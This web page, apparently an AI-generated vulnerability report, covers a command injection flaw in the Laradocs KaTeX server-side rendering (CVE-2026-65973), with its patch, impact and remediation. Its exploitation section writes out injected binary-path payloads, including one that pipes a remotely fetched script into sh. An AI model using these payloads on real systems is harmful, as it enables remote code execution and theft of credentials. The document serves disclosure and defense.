CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-65973

CVE-2026-65973: Local OS Command Injection in Laradocs KaTeX Server-Side Rendering

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 25, 2026·9 min read·2 visits

Executive Summary (TL;DR)

Laradocs versions >= 0.4.0 and < 1.0.0 concatenate an unescaped Node.js binary path directly into a proc_open() command string inside KatexExtension.php. Local attackers who can control the LARADOCS_KATEX_NODE_BIN environment variable or laradocs.parser.katex.node_bin configuration can execute arbitrary commands when KaTeX server-side rendering is active. Upgrading to version 1.0.0 remediates the issue by wrapping the binary path in escapeshellarg().

CVE-2026-65973 (GHSA-h746-qpxh-ph7g) is a local operating system command injection vulnerability (CWE-78) in the PeteBishwhip/laradocs package for Laravel. Versions from 0.4.0 to before 1.0.0 fail to sanitize or escape the configured Node.js binary path before passing it as part of a command string to PHP's proc_open() function during server-side KaTeX rendering. An attacker with the ability to modify local configuration files or environment variables can inject shell metacharacters to execute arbitrary OS commands under the privileges of the web server process.

Vulnerability Overview

Laradocs (petebishwhip/laradocs) is a Composer package designed for maintaining and rendering version-controlled Markdown documentation directly inside a Laravel application. Among its documentation processing features, Laradocs supports rendering mathematical expressions written in TeX/LaTeX syntax using the KaTeX library. To support environments where client-side JavaScript rendering is undesirable, Laradocs introduced a server-side rendering (SSR) mode in version 0.4.0 via the KatexExtension class.

When server-side rendering is enabled in the application configuration, Laradocs offloads the mathematical typesetting to an external Node.js process. The PHP backend communicates with the Node.js runtime by constructing a command string and invoking PHP's built-in proc_open() process control function. This architectural boundary between the PHP runtime and the underlying operating system shell exposes an execution attack surface governed by how command tokens and arguments are assembled.

In versions 0.4.0 through 0.6.1, the spawnNode() method inside src/Extensions/KatexExtension.php fails to neutralize special elements in the Node.js executable path before concatenating it into the command string. Classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command), this flaw allows an attacker who can manipulate the application configuration or environment variables to inject arbitrary shell commands.

Because proc_open() executes string commands by spawning an intermediate system shell (/bin/sh -c on POSIX systems or cmd.exe /c on Windows), any shell control characters present in the configured binary path are interpreted directly by the shell. Successful exploitation grants the attacker arbitrary command execution within the security context of the PHP web server or PHP-FPM worker process.

Root Cause Analysis

The root cause of CVE-2026-65973 is the asymmetric application of shell argument escaping when constructing a command string for proc_open() in src/Extensions/KatexExtension.php. When the spawnNode(string $input) private method is invoked to render a KaTeX string, it retrieves the target Node.js binary path from the $this->nodeBin class property. If $this->nodeBin is null, the value defaults to the literal string 'node'.

The $this->nodeBin property is populated from the Laravel configuration key laradocs.parser.katex.node_bin, which in standard deployments reads from the LARADOCS_KATEX_NODE_BIN environment variable. In the vulnerable implementation, the developer applied PHP's escapeshellarg() function to both the temporary script path ($tmpFile) and the raw mathematical input expression ($input), but concatenated the $node variable directly at the start of the $cmd string without escaping.

PHP's proc_open() function exhibits distinct execution behaviors depending on the data type of its first parameter ($command). When $command is passed as a string, PHP invokes the platform's default command interpreter to parse tokens, handle redirections, and resolve environment path lookups. Consequently, the system shell parses the entire $cmd string before executing the target binary.

Because $node is not enclosed in quotes or escaped via escapeshellarg() or escapeshellcmd(), the command parser treats whitespace and shell metacharacters within $node as syntactic delimiters. If $node contains characters such as semicolons (;), logical operators (&&, ||), pipe symbols (|), or command substitution blocks ($(), backticks), the shell terminates or chains the initial command and executes the injected instructions prior to or alongside the escaped arguments.

Code Analysis

The vulnerability was introduced in commit 0fc3a9ddcf9a423a3a92e52b5aae3bfcf2bc153f and affects src/Extensions/KatexExtension.php. In the vulnerable code path, spawnNode() prepares a temporary JavaScript file to execute KaTeX rendering and then builds the execution command on lines 265-268.

// Vulnerable implementation in src/Extensions/KatexExtension.php (Prior to v1.0.0)
private function spawnNode(string $input): ?string
{
    // ... [Temporary file initialization omitted] ...
 
    $node = $this->nodeBin ?? 'node';
    // VULNERABLE: $node is concatenated directly without shell escaping
    $cmd = $node . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
    $descriptors = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']];
    $proc = proc_open($cmd, $descriptors, $pipes);
    
    // ... [Stream reading and process cleanup omitted] ...
}

In commit 100cb1e83920b8d3c9d8d53f98712df80df99435, authored by aikido-autofix[bot] and released in version 1.0.0, the flaw was addressed by wrapping the $node variable in escapeshellarg() before concatenation.

--- a/src/Extensions/KatexExtension.php
+++ b/src/Extensions/KatexExtension.php
@@ -263,7 +263,7 @@ private function spawnNode(string $input): ?string
         }
 
         $node = $this->nodeBin ?? 'node';
-        $cmd = $node . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
+        $cmd = escapeshellarg($node) . ' ' . escapeshellarg($tmpFile) . ' ' . escapeshellarg($input);
         $descriptors = [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']];
         $proc = proc_open($cmd, $descriptors, $pipes);

On POSIX-compliant operating systems (such as Linux and macOS), escapeshellarg() wraps the input string in single quotes (') and escapes any existing single quotes by replacing them with '\''. This guarantees that /bin/sh interprets the entire $node value strictly as the zero-index program path (argv[0]). Even if $node contains semicolons or spaces (e.g., 'node; id'), the shell attempts to locate a single executable file literally named node; id rather than executing id as a second command.

> [!NOTE] > Fix Completeness Assessment: While wrapping $node in escapeshellarg() prevents command chaining on POSIX systems, it relies on string-based shell invocation. On Windows systems, PHP's escapeshellarg() wraps arguments in double quotes (") and replaces internal double quotes and percent signs with spaces, which can introduce edge-case behavioral discrepancies with cmd.exe. A more robust architectural fix supported in PHP 7.4 and later is passing an indexed array of arguments directly to proc_open([$node, $tmpFile, $input], $descriptors, $pipes). Passing an array bypasses the intermediate shell entirely (execvp on POSIX), eliminating shell parsing overhead and command injection vectors completely.

Exploitation

Exploiting CVE-2026-65973 requires three specific preconditions. First, the target application must run a vulnerable version of petebishwhip/laradocs (>= 0.4.0 and < 1.0.0). Second, KaTeX server-side rendering must be explicitly enabled in the configuration (laradocs.parser.katex.ssr set to true). Third, the attacker must possess high local or administrative privileges (PR:H, AV:L) allowing them to modify the environment variables, .env file, or dynamic runtime configuration of the Laravel application.

While direct access to modify a .env file or config/laradocs.php on the filesystem often implies existing access, this vector becomes practical in multi-tenant administration panels, CI/CD pipeline injection scenarios, or applications that expose a web-based settings dashboard allowing administrators to update Config::set('laradocs.parser.katex.node_bin', ...) dynamically via database-backed configuration managers.

To trigger the exploit, the attacker sets the Node binary configuration parameter to a string containing a valid command separator followed by an arbitrary shell payload and a trailing comment character (#) to neutralize the remaining escaped arguments:

# Step 1: Inject payload into environment or configuration store
LARADOCS_KATEX_SSR=true
LARADOCS_KATEX_NODE_BIN="node; id > /tmp/laradocs_poc.txt #"

Alternatively, if the attacker can modify the runtime configuration array inside Laravel:

// Dynamic configuration tampering example
config(['laradocs.parser.katex.ssr' => true]);
config(['laradocs.parser.katex.node_bin' => '/usr/bin/node; curl -s http://192.0.2.10/payload.sh | sh #']);

Once the configuration contains the payload, the attacker requests any documentation route handled by Laradocs that contains a Markdown mathematical block (delimited by $$ or $). When the Markdown parser encounters the math expression, it invokes KatexExtension::spawnNode(), which passes the following string to proc_open():

/bin/sh -c "node; id > /tmp/laradocs_poc.txt # '/tmp/katex_script.js' 'f(x) = x^2'"

The shell executes node (which exits immediately or reads from standard input), then executes id > /tmp/laradocs_poc.txt, and treats the trailing '/tmp/katex_script.js' 'f(x) = x^2' tokens as an inline shell comment due to the # character.

Impact Assessment

CVE-2026-65973 carries a CVSS v3.1 base score of 6.4 (Medium) with the vector CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H. The exploitability sub-score is constrained to 0.5 due to the requirement for local attack vector access (AV:L), high attack complexity (AC:H) stemming from the non-default or conditional activation of KaTeX SSR, and high privileges required (PR:H) to tamper with application configuration settings.

Despite the high prerequisites, the impact sub-score is 5.9, reflecting High ratings across Confidentiality (C:H), Integrity (I:H), and Availability (A:H). When exploited in scenarios where an administrative user has restricted application-level access (for example, access to an application settings UI without direct SSH shell access), this vulnerability provides a privilege escalation boundary crossover from application administrator to operating system shell execution.

An attacker executing commands as the web server user (commonly www-data, nginx, or apache) gains full read access to the Laravel application's .env file, exposing APP_KEY encryption secrets, database credentials, third-party API keys, and cloud storage tokens. Furthermore, the attacker can modify application source code to install persistent web shells, tamper with database records, or terminate backend worker processes.

From a threat intelligence perspective, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-65973 a score of 0.0063 (0.63% probability of exploitation within 30 days, placing it in the 44.63rd percentile). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns or public weaponized exploit modules currently exist.

Remediation

The primary remediation for CVE-2026-65973 is to upgrade the petebishwhip/laradocs dependency to version 1.0.0 or later. Version 1.0.0 incorporates commit 100cb1e83920b8d3c9d8d53f98712df80df99435, which ensures the $node binary path is properly escaped with escapeshellarg() prior to command execution.

Administrators and developers can apply the upgrade using Composer:

composer require petebishwhip/laradocs:^1.0.0

For deployments where an immediate upgrade to 1.0.0 is blocked by breaking changes or compatibility constraints, several effective workarounds exist to neutralize the attack path:

  1. Disable KaTeX Server-Side Rendering: Set LARADOCS_KATEX_SSR=false in the application's .env file or set 'ssr' => false under the parser.katex key in config/laradocs.php. When SSR is disabled, Laradocs falls back to client-side rendering in the browser and never invokes KatexExtension::spawnNode() or proc_open().
  2. Restrict Configuration Permissions: Enforce strict filesystem access controls on .env and config/laradocs.php (e.g., chmod 0440 or 0400 owned by a deployment user rather than the web server runtime user). Ensure that no web-accessible administrative interfaces allow arbitrary modification of the laradocs.parser.katex.node_bin configuration key.
  3. Enforce Binary Path Validation: If custom wrapper code populates the Node.js binary path dynamically, validate the path against a strict regular expression allowlist (such as /^\/[a-zA-Z0-9_\-\.\/]+$/) and verify executable existence with is_executable() before passing it to the configuration store.

Official Patches

PeteBishwhipGitHub commit escaping the $node binary path with escapeshellarg() in KatexExtension.php
PeteBishwhipLaradocs v1.0.0 patched release
GitHubOfficial GitHub Security Advisory (GHSA-h746-qpxh-ph7g)

Fix Analysis (1)

Technical Appendix

CVSS Score
6.4/ 10
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.63%
Top 55% most exploited

Affected Systems

PeteBishwhip/laradocs (Packagist: petebishwhip/laradocs) versions >= 0.4.0, < 1.0.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
laradocs
PeteBishwhip
>= 0.4.0, < 1.0.01.0.0
AttributeDetail
Vulnerability TypeCWE-78: OS Command Injection
Affected ComponentKatexExtension::spawnNode() in src/Extensions/KatexExtension.php
Attack VectorLocal (AV:L) via unescaped Node.js binary path configuration
CVSS v3.1 Score6.4 Medium (CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
EPSS Score0.63% (44.63rd Percentile)
ImpactArbitrary OS command execution as the PHP web server user
Exploit StatusNo known public exploits or active exploitation
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Vulnerability Timeline

Fix commit 100cb1e83920b8d3c9d8d53f98712df80df99435 authored via Aikido Autofix and merged into PeteBishwhip/laradocs.
2026-07-03
Laradocs version v1.0.0 released containing the security patch.
2026-07-03
GitHub Security Advisory GHSA-h746-qpxh-ph7g and CVE-2026-65973 officially published.
2026-11-11
NVD and CVE.org records updated with CVSS v3.1 scoring (Base Score: 6.4 Medium).
2026-11-16
Open Source Vulnerabilities (OSV) database entry updated.
2026-11-18

References & Sources

  • [1]GitHub Security Advisory: GHSA-h746-qpxh-ph7g
  • [2]Fix Commit 100cb1e83920b8d3c9d8d53f98712df80df99435 in PeteBishwhip/laradocs
  • [3]Laradocs Release v1.0.0
  • [4]NVD Entry for CVE-2026-65973
  • [5]CVE.org Record: CVE-2026-65973
  • [6]CVEProject cvelistV5 JSON Record for CVE-2026-65973
  • [7]Shodan CVEDB Entry: CVE-2026-65973

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-65971
7.6

CVE-2026-65971: SQL Injection in Livewire PowerGrid via Public sortDirection Property

A SQL injection vulnerability exists in power-components/livewire-powergrid versions 6.0.0 through 6.10.3. The public Livewire component property sortDirection is interpolated directly into raw SQL ORDER BY clauses during natural sorting operations without prior validation. By clearing the sortField property to bypass standard Laravel query builder protections, an attacker can inject arbitrary SQL expressions via POST requests to the /livewire/update endpoint.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 3 hours ago•CVE-2026-68539
7.5

CVE-2026-68539: Unbounded Resource Consumption and Denial of Service in Fulgur CSS GCPM string-set Processing

CVE-2026-68539 is a remote Denial of Service (DoS) vulnerability in Fulgur, a Rust-based offline HTML/CSS-to-PDF rendering engine. Prior to version 0.29.0, the engine's CSS Generated Content for Paged Media (GCPM) implementation resolved and stored named strings via the string-set property without enforcing memory caps or caching DOM subtree text extraction. An unauthenticated attacker supplying crafted HTML and CSS to a rendering endpoint can trigger multi-gigabyte heap memory allocations and redundant O(M * L) subtree traversals, leading to CPU starvation and out-of-memory (OOM) process aborts.

Alon Barad
Alon Barad
4 views•10 min read
•about 6 hours ago•CVE-2026-64670
9.3

CVE-2026-64670: Stored Cross-Site Scripting in @waline/client Comment Editor Preview

A stored cross-site scripting (XSS) vulnerability in @waline/client allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator's browser session. The flaw exists because the client-side markdown preview renderer utilizes the marked library without HTML sanitization and injects the resulting output directly into the DOM via Vue's v-html directive. When an administrator opens the edit interface for a comment, the preview element is mounted and evaluated immediately due to the combination of watchImmediate and v-show, leading to automatic payload execution and administrative token compromise.

Amit Schendel
Amit Schendel
6 views•8 min read
•about 19 hours ago•CVE-2026-63304
8.1

CVE-2026-63304: OS Command Injection in WWBN AVideo via listFFmpegProcesses

WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.

Alon Barad
Alon Barad
5 views•9 min read
•about 20 hours ago•CVE-2026-59726
10.0

CVE-2026-59726: Unauthenticated Remote Code Execution in Ruflo MCP Bridge

Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.

Alon Barad
Alon Barad
13 views•2 min read
•about 21 hours ago•CVE-2026-59818
6.5

CVE-2026-59818: Improper Certificate Revocation List (CRL) Validation on Split gRPC Listeners in etcd

In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.

Amit Schendel
Amit Schendel
6 views•10 min read